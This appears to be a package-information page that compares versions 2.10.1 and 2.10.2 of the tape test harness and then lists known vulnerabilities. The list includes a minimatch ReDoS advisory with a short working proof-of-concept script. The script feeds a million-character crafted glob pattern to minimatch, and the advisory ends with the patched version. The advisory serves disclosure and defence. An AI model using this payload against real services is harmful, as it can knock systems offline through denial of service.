Tape, a tap-producing test harness for Node.js and browsers, saw a subtle update between versions 2.10.1 and 2.10.2. Both share the same core dependencies including glob, defined, resumer, through, inherits, deep-equal, and object-inspect, ensuring consistent functionality for file system globbing, value definition, resumable streams, data transformation, inheritance, deep object comparison, and object inspection. Developer dependencies such as tap, falafel, and concat-stream also remain consistent, used for testing, Javascript AST analysis, and stream concatenation respectively.
The primary distinction lies within the release date, with version 2.10.2 being released shortly after 2.10.1, indicating a potential hotfix or minor adjustment. While the surface-level code appears the same, this update might include bug fixes or performance enhancements not explicitly detailed in the data provided. For developers, this implies a potentially more stable or refined experience in 2.10.2, though the core feature set remains identical. Choosing the newer version is generally recommended as it typically incorporates the benefits of any immediate preceding fixes, contributing to overall project reliability. Both versions are licensed under the MIT license and maintained in a Github repository by James Halliday.
All the vulnerabilities related to the version 2.10.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.